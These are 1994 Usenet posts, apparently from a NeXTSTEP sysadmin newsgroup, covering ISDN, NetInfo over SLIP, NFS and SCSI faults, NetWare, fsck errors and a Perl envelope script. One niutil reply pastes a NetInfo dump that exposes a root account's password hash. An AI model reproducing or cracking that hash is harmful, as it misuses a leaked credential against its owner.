Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
From: burns@nova.bellcore.com (James E. Burns)
Subject: Re: ISDN & PhoneKit and 3.2
In-Reply-To: childc@tosh.cas.american.edu's message of 17 Feb 1994 21:04:19 GMT
Message-ID: <BURNS.94Feb22210004@wildcat.nova.bellcore.com>
Sender: news@walter.bellcore.com
Organization: Bell Communication Research
References: <2k0m4j$m7j@paladin.american.edu>
Distribution: usa
Date: Wed, 23 Feb 1994 02:00:04 GMT
>Has anyone here used the Hayes ISDN Extender with phoneKit and 3.2
NeXT no longer supports PhoneKit. When I called them about 9 months
ago, they said they had hopes a third party would take it over, but
I don't think that has happened.
You might be able to get the Extender to work with the PhoneKit
originally distributed, but you might have trouble getting it to
work with your phone company. The standard now (coming after PhoneKit
was released) is National ISDN-1. The Hayes only supports the
older AT&T proprietary standard. As long as you are hooked to
an AT&T central office digital switch (5-ESS), you can probably
expect this to be available as an option. I'm not sure how
it interoperates with the other versions. Anyway, given all
the uncertainty I opted for an AT&T ISDN phone, about $800 (ouch).
jim burns
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331 Newman Springs Road Fax: (908) 758-4371
Red Bank, NJ 07701-5699, USA Home: (908) 219-6561
From: Charles.M.Dudley.<warrior@churchst.ccs.itd.umich.edu>
Newsgroups: comp.sys.next.sysadmin
Subject: Alembic International
Date: 23 Feb 1994 05:36:17 GMT
Organization: University of Michigan
Distribution: world
Message-ID: <2keq0h$guj@lastactionhero.rs.itd.umich.edu>
Contact Alembic International for your one stop NeXTSTEP
products shop.
Alembic International can be reached by calling:
1 - 800 - 452 - 7608
They have Graphics and Word Processing Apps,
Hardware, Productivity ware, Spreadsheet and Accounting packages, Database Management packages, Development ware, Communications software, Utilities, System Administration tools, Scientific ware, games, and misc stuff.
All of which can help you to get the most productivity out of you NEXTSTEP usage.
Call Now!!!
--
Copyright 1994 Charles M. Dudley Charles.Dudley@umich.edu
NEXTSTEP User 313.493.0574
P. O. Box 130231 Ann Arbor, MI 48113
NeXTmail to: warrior@churchst.ccs.itd.umich.edu
"The One True President of the Michigan NeXTSTEP Users Group.""
From: mka@isa.UUCP (mka)
Newsgroups: comp.sys.next.hardware,comp.sys.next.misc,comp.sys.next.sysadmin
Subject: NextStep on Intel box with DTC3290 SCSI controller?
Keywords: intel, DTC3290
Message-ID: <145@isa.UUCP>
Date: 23 Feb 94 07:33:45 GMT
Followup-To: poster
Distribution: usa
Organization: Intelligent Systems Associates, Guanajuato, Mexico
Has anyone successfully installed NextStep (Evaluation Kit 3.1)
on an Intel box with a DTC3290 EISA SCSI controller?
I tried the NextAnswers fax-back service unsuccessfully
several times (my phone service here in Mexico has some
problems).
The installation program doesn't recognize the CD-ROM (a Texel
DM-3024), and doesn't seem to like the floppy drive, which
was taken off the DTC controller and put on an IDE card. I'm
not sure if the install program will recognize the SCSI hard
disk, since I've never gotten that far. Anyway I'm hoping
that some procedure specific to the DTC controller will solve
the other problems.
Any suggestions or advice or official procedures will be
greatly appreciated.
PLEASE email replies to me even if you post the reply - I
currently don't have a newsfeed (you won't believe what long-
distance charges are in Mexico) and won't see postings. I can
be reached via uunet (uunet!isa!mka).
Thanks in advance,
Mike Anderson
uunet!isa!mka
From: avery@ccrma.Stanford.EDU (Avery Wang)
Newsgroups: comp.sys.next.sysadmin
Subject: SLIP and printing -- why does printing access netinfo over SLIP?
Date: 23 Feb 1994 09:22:23 GMT
Organization: Stanford University
Message-ID: <2kf78f$iur@nntp2.Stanford.EDU>
Hi,
I am wondering if I can prevent my print server from accessing
netinfo over SLIP. I have SLIP set up and can watch the activity
by looking at the RD and SD LEDs. Whenever I want to print, I see
that the netinfo sends and receives some data over the modem.
This causes several seconds worth of delay before the print panel
comes up. If the SLIP line is heavily loaded, i.e. when downloading
something, the delay can be considerable. Also, if the network
hangs up, a print request from a NeXT app will permanently wedge.
I guess that netinfo is trying to scan the
network for all printers.
I am the only machine on my netinfo network!!
However, I do have nameservers loaded into my netinfo hosts list:
sloth> nidump hosts /
127.0.0.1 localhost
255.255.255.255 broadcasthost
36.56.0.152 avallone
36.56.0.151 argus
36.173.0.1 ncs-gateway.stanford.edu gate
36.56.0.152 avallone.stanford.edu
36.56.0.151 argus.stanford.edu
It seems, also, that *any* access of netinfo sends inquiries over
the modem.
Does anyone know how to keep my machine from scanning for netinfo
over the modem?
Thanks,
Avery Wang avery@ccrma.stanford.edu
CCRMA (Center for Computer Research in Music and Acoustics)
660 Lomita Dr. Fax: +1 (415) 723-8468
Stanford, CA 94305 Tel: +1 (415) 364-5002
From: mauriti@cs.tu-berlin.de (Frank Hartlep)
Newsgroups: comp.sys.next.sysadmin
Subject: Netbooting a diskless Sun
Date: 23 Feb 1994 14:54:51 GMT
Organization: Technical University of Berlin, Germany
Distribution: world
Message-ID: <2kfqnr$1gu@news.cs.tu-berlin.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Is it possible to add a Sun boot client just by using NetInfo
in the regular manner. Reading some man pages on SunOS 4.1 revealed
that netbooting is normally started by using the RARP protocol; NeXT seems
to use the incompatible Internet BOOTP protocol. But there's also a bootpd
man page on the Sun machine here, so there may be a chance. Could somebody
give me a hint?
Thanks,
Frank
From: kkudielk@email.tuwien.ac.at (Klaus KUDIELKA)
Newsgroups: comp.sys.next.sysadmin
Subject: NS 3.2 Intel: rpc.lockd broken
Date: 23 Feb 1994 15:28:44 GMT
Organization: Technical University Vienna / Austria
Message-ID: <2kfsnc$fpv@email.tuwien.ac.at>
Hello everybody,
rpc.lockd of NS 3.2 (Intel version) doesn't seem to work. It starts up
just fine, but aborts after the first (few) lock request(s) with "bus error".
Any ideas?
Klaus Kudielka
kkudielk@email.tuwien.ac.at
From: mickey@mothra.UU.NET (Mickey Lasky)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Desktop picture
Date: 23 Feb 1994 17:33:58 GMT
Organization: UUNET Communications
Distribution: world
Message-ID: <2kg426$q0u@news.UU.NET>
References: <2k5ms7$kr@dartvax.dartmouth.edu>
Background 3.0 will place pictures on your desktop. The only problem I
encountered with it was it was a) HUGE, and b) swapped like mad during the
picture laying process.
=====================================================
Mickey Lasky uunet!mickey
Technical Support Rep. mickey@uunet.uu.net
UUNET Technologies 703-204-8000
Falls Church, VA. 202-424-0453
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Newsgroups: comp.sys.next.sysadmin
From: fabien@free.fdn.org (Fabien Roy)
Subject: Re: disktab req for 128 MO drive
Message-ID: <1994Feb23.155721.729@free.fdn.org>
Sender: news@free.fdn.org
Organization: Fabien Roy Electronic Engineering (F.R.E.E.) - Paris, France.
References: <2k2paj$34s@quad.wfunet.wfu.edu>
Date: Wed, 23 Feb 1994 15:57:21 GMT
In article <2k2paj$34s@quad.wfunet.wfu.edu> wuj9@ac.wfu.edu (joe wu)
writes:
> Please send me disktab entry for 128Meg MO drive. Thanks.
> wuj9@ac.wfunet.wfu.edu
Why?
mine just work: plug and play!
--Fabien
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Newsgroups: comp.sys.next.sysadmin
From: fabien@free.fdn.org (Fabien Roy)
Subject: Re: fsck: cannot execute
Message-ID: <1994Feb23.164509.1153@free.fdn.org>
Sender: news@free.fdn.org
Organization: Fabien Roy Electronic Engineering (F.R.E.E.) - Paris, France.
References: <CLn41B.GD6@unixhub.SLAC.Stanford.EDU>
Date: Wed, 23 Feb 1994 16:45:09 GMT
In article <CLn41B.GD6@unixhub.SLAC.Stanford.EDU>
Paul_Kunz@slac.stanford.edu (Paul Kunz) writes:
> I have a problem with i486 no-name clone (Tangant). It fails to
boot
> because it can't run fsck. Even booting single user mode, I can't run
fsck
> or a lot of other commands. I get
>
> fsck: cannot execute
>
> Commands that do work are cd and ls, even with options. But fsck, du,
df,
> stty, tset, etc wouldn't execute.
>
> any ideas?
>
> --
> Paul F. Kunz Paul_Kunz@slac.stanford.edu (NeXT mail ok)
> Stanford Linear Accelerator Center, Stanford University
> Voice: (415) 926-2884 (NeXT) Fax: (415) 926-3587
Try
ls -l /usr/etc/fsck
should read
-rwxr-xr-x 1 root 32768 Apr 29 1993 /usr/etc/fsck*
--Fabien
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Newsgroups: comp.sys.next.sysadmin
From: dave@guinness.huma.yorku.ca (David Aspinall)
Subject: NFS Server Not responding
Message-ID: <CLowC3.Ev4@newshub.ccs.yorku.ca>
Sender: news@newshub.ccs.yorku.ca (USENET News System)
Organization: York University, Humanities Department
Date: Wed, 23 Feb 1994 18:21:39 GMT
I have resently started having a problem with NFS and I was
wondering if anyone has had a similar experience. I have 2 file servers
named bigtop, and 3rd_ring where bigtop is the Netinfo server. Bigtop
vends all the important directories like /Users /LocalApps /LocalLib
/usr/spool/mail and 3rd_ring vends the /usr/spool/NeXTFaxes /NextDeveloper
and /NextLibrary/References.
The problem is the bigtop seems to stop responding a unusual
times. For example, the /usr/adm/messages file on 3rd_ring records the
following: (note 3rd_ring is a machine alias)
Feb 19 04:00:20 cheetah mach: NFS server bigtop not responding still trying
Feb 22 04:00:44 cheetah mach: NFS server bigtop not responding still trying
Feb 22 07:24:36 cheetah mach: NFS server bigtop not responding still trying
Feb 22 07:38:35 cheetah mach: NFS server bigtop ok
Feb 23 04:00:45 cheetah mach: NFS server bigtop not responding still trying
Feb 23 09:18:33 cheetah mach: NFS server bigtop ok
What I don't understand is WHY, and WHY every couple of days at
4:00 am ? The only thing running at 4 am is the /usr/adm/daily script?
Could it be because the /usr/adm/daily script cleans out the .nfs files?
I have even experienced the loss of NFS service on bigtop itself,
but not at 4 am. This seems to happen more randomly. I wonder, could it
be because bigtop and 3rd_ring both have root access to each other?
Any help is appreciated.
Thanks
David
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E-mail : cs911409@ariel.cs.yorku.ca | I'd rather be
NeXTMail: dave@HUMA.yorku.ca | rich than stupid
V-mail : (416) 663-4997 | -- Jack Handey
From: edmtl@alf.uib.no (Thor Legvold)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Serial port interupts -- slow machine?
Date: 23 Feb 1994 20:12:21 +0100
Organization: University of Bergen
Message-ID: <2kg9ql$igl@alf.uib.no>
References: <92940222020729/0005508785NA5EM@mcimail.com>
In article <92940222020729/0005508785NA5EM@mcimail.com>,
ErgoTech Development, Inc. <0005508785@mcimail.com> wrote:
>Sherwood Botsford says:
>confict between the two. That is kermit sends a small packet to the modem.
>The modem waits to fill up an MNP packet. The modem sees nothing, finally
>timesout, and sends the MNP packet. And so on backwards and forwards. In
>other words with small packets you are always waiting for MNP modems to
>timeout, which makes the link slow.
>
set send packet 1000
set rec packet 1000
set window-size 5 (or try 3, 7, or other values for max throughput.)
>While we are on the subject has anyone done time trials with SLIP on a 14,400
>modem? They used to use a slow (300 baud) return channel, but I don't know
>that they still do. The slow return channel makes them good for protocols like
You'll find much of this info posted to comp.dcom.modems.
>ZMODEM, XMODEM etc. where the data is almost always one way. The return line
>can effectively send back the minimal number of acknowledge characters
>required. However they work very badly on links where there is significant
>data travelling in both directions, such as SLIP. That is the modem must
>constantly change directions (who has the 14,400 channel), which makes it
>slower than running the modems with bi-directional channels at 9600.
My ZyXEL does 14400 both ways at the same time (although the early ROM
versions had a bug with this - now fixed). Pretty nice :-)
>
>Jim Redman
Regards,
--
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NorNeXT User Group leader | I've ever known...
University of Bergen | - Jim Morrison, The Doors
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From: next2@info2.rus.uni-stuttgart.de (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Re: EATA timeout?
Date: 23 Feb 94 19:40:06 GMT
Organization: Comp.Center (RUS), U of Stuttgart, FRG
Message-ID: <next2.762032406@info2.rus.uni-stuttgart.de>
References: <next2.761654522@info2.rus.uni-stuttgart.de> <CLKCp4.75F@nexusadmin.com> <2kcfe6$1j5@marsu.tynet.sub.org>
mow@marsu.tynet.sub.org (Markus Wenzel) writes:
>I got a forwarded mail from a Dell employee who states that we all need
>BIOS/Firmware updates to the most recent version (don't know which rev.#)
>from DPT. This is said to fix the problem.
I have to correct myself. I really have the most recent version, 2C.
Maybe this is a bug which did not occur in previous versions as 2A9 or 2B.
Another possibility is that it only happens with very fast drives and
exclusivly under NeXTSTEP, because I had no problems under DOS and a friend
had no problems with the exactly my 2022 and an old, rather slow Fujitsu
drive.
Could all guys with 2022 adapters and frequent crashes due to SCSI timeouts
- post their complete configuration here (DPT BIOS rev., SCSI devices
attached to
- post their MTBC (mean time between crash :-)
- contact DPT and/or NeXT about it? It is a nightmare that the most
sophisticated EISA SCSI controller is unusuable! I nearly lost a few
days work yesterday because my super block got corrupted in the last
SCSI lockup. It is the third time in two weeks when I had to restore
a GB disk.
Let me take the first entry in the "DPT trouble database":
EISA/VL 486DX2 66, SiS Chipset, AMI BIOS, 32 MB
DPT 2022/95, BIOS Rev. 2C (purchased in January 94)
Toshiba CD-ROM 3201, Sankyo CP 525 QIC,
DEC DSP 3053L, IBM 0662S12 (with active termination on).
MTBC: about 2 days.
My old 2021 ISA adapter with BIOS Rev. 2B works fine, by the way :-(((
Regards,
Markus.
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Newsgroups: comp.sys.next.sysadmin
From: stan@netcom.com (Stanley Perkins)
Subject: AppleTalk under NS 3.2 (Moto)?
Message-ID: <stanCLp0JD.Iru@netcom.com>
Summary: How can I use AppleTalk under NS3.2?
Keywords: AppleTalk
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Wed, 23 Feb 1994 19:52:24 GMT
I just upgraded my NS Color to NS 3.2. Unfortunately,
it seems as though AppleTalk is no longer supported.
When I use the AppleTalk package from 3.0, my system
hangs at shutdown, necessitating fsck at every bootup,
and finding a few unreferenced files, etc.
Is there AppleTalk support (or a workaround) for NS 3.2
for Motorola? How can I get the necessary software?
Thanks!
Stan
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Subject: NetWare & NeXTstep problem --- can't find any servers
Message-ID: <MATTHEW.94Feb23194951@viriconium.ocms.ox.ac.uk>
From: matthew@viriconium.ocms.ox.ac.uk (Matthew Seaman)
Date: 23 Feb 1994 19:49:51 GMT
Organization: Mat's Hacking Shop
I've a problem getting NetWare up and running on my NeXT box (NS 3.2,
m68k hardware). Perhaps you may have seen something like this before,
or know how to fix it.
The problem is that on bootup, my machine just doesn't see the local
NetWare server ICLNOVSERVER --- a.k.a server.icl.ox.ac.uk, or indeed,
any NetWare server. As far as I can tell, it loads the NUC stuff into
the kernel, and nucinit seems to run OK. Then the npsd "netware
protocol stack daemon" fails to start --- if I run it by hand with the
verbose option, it does this:
viriconium:101# /usr/netware/etc/npsd -v
NPSD: Novell Protocol Suite Streams Architecture daemon.
NPSD: Trying Ethernet_II ...<timeout>
NPSD: Trying Ethernet_II ...<timeout>
NPSD: Trying Ethernet_802.2 ...<timeout>
NPSD: Trying Ethernet_802.2 ...<timeout>
NPSD: Trying Ethernet_SNAP ...<timeout>
NPSD: Trying Ethernet_SNAP ...<timeout>
NPSD: Trying Ethernet_802.3 ...<timeout>
NPSD: Trying Ethernet_802.3 ...<timeout>
NPSD: Bind failed: No response from server.
The other netware daemons seem to start just fine.
NetWareManager.app just pops up a panel saying 'NetWare is enabled but
not running now. It will start when you reboot your computer' or words
to that effect.
The man in charge of the Novell system around here says that he's
using version 3.11 of NetWare with *some* of the patches that would
take it up to 3.12. He's also definitely using the Ethernet_II style
framing. Besides all the Macs and PC's around the department see the
server just fine, so I doubt that it's anything obviously wrong with
his setup.
Basically, I don't see any NetWare servers on the net --- and I'm sure
they're out there somewhere...
I'd appreciate any help or advice you can give me here. A manpage or
the like for the various NetWare daemons (npsd, sapd, nucmessaged) or
other programs: (mtrace, ndt, nwmp) would be gratefully
received. Librarian can find nothing in the online NetWare docs. (or
anywhere else that I can see.) Even a short guide to what the various
command line options do would be nice.
So far I've worked out that:
npsd has options:
-v turn on verbosity
-t <time out> no. of seconds before timeout
-r <no. of retries>
-f <frame type> One of Ethernet_II, Ethernet_SNAP,
Ethernet_802.2 or Ethernet_802.3
-a (no idea ??)
But what does this daemon actually do?
sapd has options
-s <SERVERNAME> Go to this server to get the list of active servers
-c <arg> (no idea??)
-d (almost no idea --- perhaps debug mode?)
-n (no idea??)
Again, what does this daemon do?
And while I'm about it, why is /usr/etc/autoNetWaremount shipped suid
root and sgid wheel? If it's suid root anyhow, then sgid wheel is
superfluous, and surely, since it's run out of rc on boot up with uid
root anyhow, it really doesn't need to be suid root at all. Looks to
me like a security hole just waiting to happen. /usr/etc/autonfsmount
does a very similar job, and manages fine with mode 755.
Cheers,
Matthew
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From: hamps@richibucto.jpl.nasa.gov (John B. Hampshire II)
Newsgroups: comp.sys.next.sysadmin
Subject: really fatal NS 3.2 Intel crashes
Date: 23 Feb 1994 20:58:06 GMT
Organization: JPL Spacecraft Telecommunication Equipment
Message-ID: <2kgg0u$hb6@marsupial.jpl.nasa.gov>
I have two Intel machines: they are both
486DX266's with 32 Mb Ram, DPT-2012 SCSI interfaces
(one has a 4Mb cache, the other has a 1 Mb cache)
ATI Ultra-Pro, and 1.5 Gb of disk (.5 Gig boot drive
and 1 Gig data drive), etc., etc.
Fortunately, I have a 2 Gb DAT tape drive as well.
I have been running the machines for two months, and
every couple of days, each will lock up, requiring
hard reboot and multiple fsck's to clean up dirty
disks; every two weeks or so, each machine locks up
and trashes one or both of its disk's contents, requiring
long rebuilds of the OS and subsequent re-loading of
data from tape.
This is a major pain. The company who sold me the machines
is of no help (I spent my first month with these machines
fixing all of the things they screwed up). NeXT's response
is understandably of little help, given the open nature of
white hardware.
Up until today, these crashes appeared to have happened at logout,
which prompted NeXT to suggest that I disable the
SCSI caches in order to prevent file inconsistencies caused
by the cache not flushing during the process killings that
occur at logout. I have resisted, hoping to retain the added
speed of a caching SCSI interface. Maybe this is a bad idea.
Today, I trashed a disk as I went to open a file (not at
logout).
Unhappily, the problem is beginning to dominate my computing
life (i.e., I'm thinking about giving up and using a
SPARCstation, bad interface and all).
Has anyone had this kind of problem? Any suggestions to
stop this malicious behavior? Any help would be most
useful.
Thanks in advance.
John
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From: feng@jedi.eng.uci.edu (Feng Liu)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: SLIP and printing -- why does printing access netinfo over SLIP?
Date: 23 Feb 1994 21:44:07 GMT
Organization: University of California, Irvine
Message-ID: <2kgin7$onv@news.service.uci.edu>
References: <2kf78f$iur@nntp2.Stanford.EDU>
In article <2kf78f$iur@nntp2.Stanford.EDU> avery@ccrma.Stanford.EDU (Avery
Wang) writes:
I have SLIP set up and can watch the activity
> by looking at the RD and SD LEDs. Whenever I want to print, I see
> that the netinfo sends and receives some data over the modem.
> This causes several seconds worth of delay before the print panel
> comes up. If the SLIP line is heavily loaded, i.e. when downloading
> something, the delay can be considerable. Also, if the network
> hangs up, a print request from a NeXT app will permanently wedge.
> I am the only machine on my netinfo network!!
> It seems, also, that *any* access of netinfo sends inquiries over
> the modem.
> Does anyone know how to keep my machine from scanning for netinfo
> over the modem?
I posted the same problem sometime ago with my NS/Intel machine running
NS/I 3.2 and PNI1.6beta although I wasn't aware it was because the machine
was scanning netinfo and sending messages through the modem.
There was no answer to my post except someone confirmed similar problem
with PNI 1.6.
I did not even configure my machine as on a netinfo network. It was
configured to be
standalone but I guess the system still uses netinfo to keep track of
possible networks and printers.
Anyway, I'd like to hear any solution to this problem, too.
Thank you.
Feng Liu
UC, Irvine
From: brunkhorst@mayo.edu
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
Subject: HP LaserJet 4mSIx Duplex PPD
Date: 23 Feb 1994 22:28:24 GMT
Organization: Mayo Foundation
Distribution: world
Message-ID: <2kgla8$g0@fermat.mayo.edu>
Anybody have one?
The shipped 3.2 HP4 driver doesn't support the duplexing option.
I looked at the PPD code differences between the IIIsiX duplex
and the HP4 and thought better of hand crufting a 'patch' before
I asked the net if one exists. Ftp.adobe.com doesn't have one,
and the HP people I call don't know the difference between a
PPD file and a windows driver.
---
Geoff
____________________________________________________________________________
Geoffrey Brunkhorst Brunkhorst.Geoffrey@Mayo.edu
Research Computing Facility, Guggenheim 10 (507) 284-1805
Mayo Foundation, Rochester MN, 55905, USA fax (507) 284-5231
Newsgroups: comp.sys.next.sysadmin
From: shayman@Trimark.com (Steve Hayman)
Subject: Re: fsck: cannot execute
Message-ID: <1994Feb23.220816.25863@trimark.com>
Sender: news@trimark.com
Organization: Trimark Investment Management, Toronto
References: <CLn41B.GD6@unixhub.SLAC.Stanford.EDU>
Date: Wed, 23 Feb 1994 22:08:16 GMT
> fsck: cannot execute
>
> Commands that do work are cd and ls, even with options. But fsck, du, df,
> stty, tset, etc wouldn't execute.
"program: cannot execute" apparently is /bin/sh's error message corresponding
to the ENOEXEC errno, which means
[ENOEXEC] The new process file has the appropriate
access permission, but has an invalid magic
number in its header.
It just so happens that this is the error you get when you try to
run a 3.0 Motorola-only binary on a NeXTSTEP/Intel machine. Is it possible
that your Intel binaries for du, df, fsck and so on have somehow become
replaced with the 3.0 Motorola versions, perhaps by some automatic
software distribution script run amuck?
Just a guess.
--
Steve Hayman
Steve Hayman + Associates NeXTSTEP Consulting Toronto, Ontario
shayman@Objectario.com (416) 769-8995
Newsgroups: comp.sys.next.sysadmin
From: mcnichol@khan.syr.edu (Brendan T. McNichols)
Subject: Problems with WangDat tape drive and tar (and gnutar, dump...)
Message-ID: <1994Feb23.171326.18099@newstand.syr.edu>
Sender: netnews@newstand.syr.edu (Network News Administrator)
Organization: Syracuse University, Syracuse, New York
Date: Wed, 23 Feb 1994 17:13:26 GMT
Hi all,
I have been getting the following error message while trying to perform
backups using tar: "tar: tape write error: I/O error". The directories
which I have tryed to backup are both local disks and NFS mounted. It
seems to consistently die on the same files every time. Gnutar and dump
give (basically) the same error message. Does anyone know what the
problem might be here? I'm assuming that this is a hardware problem,
given that gnutar, dump, and tar give the same problem, and that it
happens on both local and NFS mounted directories. Could it be bad SCSI
termination? Bad SCSI cable? Or just a bad tape drive? The computer I
am using is an eCesys '486 with 16M RAM and the DPT2012 SCSI card, but
we've had similar problems with this tape drive on our NeXTstations also.
Thanks VERY much in advance,
Brendan
--
Brendan T. McNichols, Computer Support mcnichol@syr.edu (NeXT)
Syracuse University Mathematics Dept. (315) 443-1588 (work)
215 Carnegie Hall (315) 443-1475 (FAX)
Syracuse, NY 13244 (315) 682-1553 (home)
From: sherwood@fenris.space.ualberta.ca (Sherwood Botsford)
Newsgroups: comp.sys.next.sysadmin
Subject: envelope printing
Date: 24 Feb 1994 01:45:41 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2kh0s5$6nr@quartz.ucs.ualberta.ca>
Below is a perl script I scrounged, and hacked just a bit for my nexts.
You will need to change the name of the printer you use.
In addition, some long lines may be mangled by my editor and need to be
rejoined.
To use it, type envelope at the command line in a terminal window,
type your address, and hit control D. This is awfully un-nextish, but
it's awfully convenient.
sgb.
#!/usr/local/bin/perl
# Envelope Label Addresser tool, Perl script.
# Given an address, either from stdin or a file argument,
# addresses a commercial envelope label, including generating postal
# bar codes.
# I couldn't put envelopes thru my printer without them being
sealed!!
#
# You may want to adapt this to print your return address, as shown
# in the commented-out example. (HP only)
# You may have to adjust the X-Y coordinates if your envelopes are
# non-standard (or you don't like where I put things!)
#
# In order for the barcode stuff to function properly, the last
address
# line must end in a zip code, either 5 digits or (zip+4 format)
# 5 digits, a dash, and 4 digits. Well, ok, I don't check
specifically
# for that format, but am looking for the end of the last line,
minus
# white space, to consist of 5 to 10 dashes and/or digits. It is up
# to you to provide the garbage-in in the right format for me to
# generate the right garbage-out.
# credits :-
# todd@toolz.uucp (Todd Merriman) for barcode stuff
# He credits :- the Winter '90 issue of the C Gazette
# Dave Buck {aeras,amdahl,ames,daver,netcomsv,sun,zygot}!dlb!dave
# for original Perl port to HP LaserJet
# Andy Rabagliati (andyr@wizzy.com) - who hacked the above to
#PostScript,
# and changed the checkdigit stuff, as I think there was a bug
# depending on the size of labels / letters, you need to move
# the user origin to the bottom left corner of the area we are
# working with. A rotate comes in handy too, sometimes.
$font = "Times-Roman"; # font of choice
$xorigin = 225; $yorigin = 450; # x,y origin
# Currently set for legal envelope,
$rotate = -90; # rotate ? You might want +-90
$barcode_x = 290;
$barcode_y = 10; # this is 100ths of an inch from origin
open (out,"|/usr/ucb/lpr -Plp -M"); # Change this to how you like to get
select(out); # to your printer -M is manual feed on Next
# ------ END OF CONFIGURATION -----
print out "%! Hey, we talk PostScript\n";
print out "$xorigin $yorigin translate $rotate rotate\n";
print out "/$font findfont 16 scalefont setfont\n";
$y = 80; # start position
while (<>) { # Get address from stdin or file
arg.
print out "10 $y moveto ($_) show\n";
$y -= 18; # next line down
$zipline = $_; # save last address line for
possible zip
}
$_ = $zipline;
s/\s*$//; # scrub white space at end
if (/[-0-9]{5,10}$/) { # Does this look like a zip, 5 or
5-4?
$_ = $&; # get 5 to 9 digit zip, optional
dash
s/-//; # delete '-' for zip+4 codes
# compute check digit: 10 - (mod 10 sum of all digits)
$digits = $_;
while(length($digits)) {
$ckdigit += chop($digits); # sum all digits
}
$ckdigit = (100 - $ckdigit) % 10; # 10 - (mod 10 of sum)
$_ = 'L' . $_ . $ckdigit . 'L'; # long line start and stop
markers
s/0/LLSSS/g; # postal bar codes for each digit
s/1/SSSLL/g;
s/2/SSLSL/g;
s/3/SSLLS/g;
s/4/SLSSL/g;
s/5/SLSLS/g;
s/6/SLLSS/g;
s/7/LSSSL/g;
s/8/LSSLS/g;
s/9/LSLSS/g;
# Now output the graphic commands for the postal bar code
# scale to 1/100 ths of an inch
# Bar width .015" to .025", we choose .02"
print out "0.72 dup scale 2 setlinewidth\n";
# Short: .04" to .06", we choose .05"
print out "/short { 0 5 rlineto stroke } def\n";
# Long: .115" to .135", we choose .12"
print out "/long { 0 12 rlineto stroke } def\n";
# chopping here - which means from last to first.
# so we move LEFT after each bar, having started right
$x = $barcode_x; $y = $barcode_y; # move to bottom right of
label
while ($_) { # process each Short/Long line
indicator
$d = chop;
($d eq 'S') && print out "$x $y moveto short\n";
($d eq 'L') && print out "$x $y moveto long\n";
# Go left .045 to .05", we choose .05"
$x -= 5;
}
}
print out "showpage\n";
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
From: sherwood@fenris.space.ualberta.ca (Sherwood Botsford)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: "Cannot delete name object with children"
Date: 24 Feb 1994 02:08:31 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2kh26v$6nr@quartz.ucs.ualberta.ca>
References: <2k8lgl$8vq@senator-bedfellow.MIT.EDU> <2k9gtl$p1t@msuinfo.cl.msu.edu>
Scott Penney (penneys1@cl-next4.cl.msu.edu) wrote:
: Kenton C. Phillips (kenton@tab.mit.edu) wrote:
: > Upon occasion I find it necessary to try to work with NeXTs over the
: > network. This means I have to fight with nidump/niload to modify
: > the NetInfo databases. Unfortunately, whenever I try to remove an
: > old entry, with `niload -d ... < sourcefile`, I get the error message
: > Cannot delete name object with children
: > and the entry is left intact. There seems to be no way to delete entries
: > other than by logging in on the machine's console and running the GUI
: > tools. This can be impractical when I have to deal with a dozen machines
: > scattered across two buildings.
: > Can someone suggest a magical incantation which will convice NetInfo
: > that I want to delete the entry, along with its "children"?
: > Thanks.
: > --
: > Kenton C. Phillips
: > Computer Systems Manager
: > MIT Center for Space Research
: > kenton@space.mit.edu
: Same here. I do most of my sysadmin work via modem. But everytime I try
: to delete a user or some such task, I get the same message.
: Scott
Yeah. New and Improved netinfo has each user with the additional
subdirectory info. Hook for putting .plan or GCOS type information?
Anyway, you should be able to do this with appropriate use of niutil.
Note: before you play with niutil do a
cp -r /etc/netinfo/xxxx.nidb /etc/netinfo/xxxx.backup
where xxxx = local or network
niutil has NO safeguards. Read man page. Read it again. Go have
coffee. Think about it.
Copy your session and print as you work with niutil.
=>DumpDomain /helios /users
Netinfo dump of Directory /users
in Domain /helios
as of Wed Feb 23 19:02:25 MST 1994
/users
name: users
25 root
name: root
passwd: Ne9QPYkpeGuqY
uid: 0
gid: 1
realname: Operator
home: /
shell: /bin/csh
_writers_passwd: root
- - 26 info
_writers: root
name: info
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: fsck: cannot execute
Date: 23 Feb 1994 12:18:21 +0100
Organization: Palumbian Research Labs
Message-ID: <2kfe1t$1bm@marsu.tynet.sub.org>
References: <CLn41B.GD6@unixhub.SLAC.Stanford.EDU>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Paul_Kunz@slac.stanford.edu (Paul Kunz) writes:
> I have a problem with i486 no-name clone (Tangant). It fails to boot
>because it can't run fsck. Even booting single user mode, I can't run fsck
>or a lot of other commands. I get
>
> fsck: cannot execute
>Commands that do work are cd and ls, even with options. But fsck, du, df,
>stty, tset, etc wouldn't execute.
You have to specify the complete path to fsck when you are in single user
mode, i.e. /usr/etc/fsck /dev/rsd?a
--
Markus Wenzel System administration, Consulting, Networking
mow@marsu.tynet.sub.org on... NeXTSTEP / Unix / Novell / Windows NT
IRC: Marsu Veni, vidi, NeXTSTEPi.
Newsgroups: comp.mail.sendmail,comp.sys.next.sysadmin
From: westes@netcom.com (Will Estes)
Subject: How do I configure bounce behavior?
Message-ID: <westesCLpIEq.LFu@netcom.com>
Organization: Mail Group
Date: Thu, 24 Feb 1994 02:18:25 GMT
When I send mail to the non-existent mail host nohost at domain
mydomain.com, I expect the mail to bounce right away with a message
in the return header something like this:
501 user@nohost.mydomain.com... 550 Host unknown (Name server: host
not found)
I'm running NeXTSTEP for Intel 3.2's sendmail, and it holds on to
the mail for N days (N is a parameter in sendmail.cf) and then
returns the mail with the rather meaningless blurb:
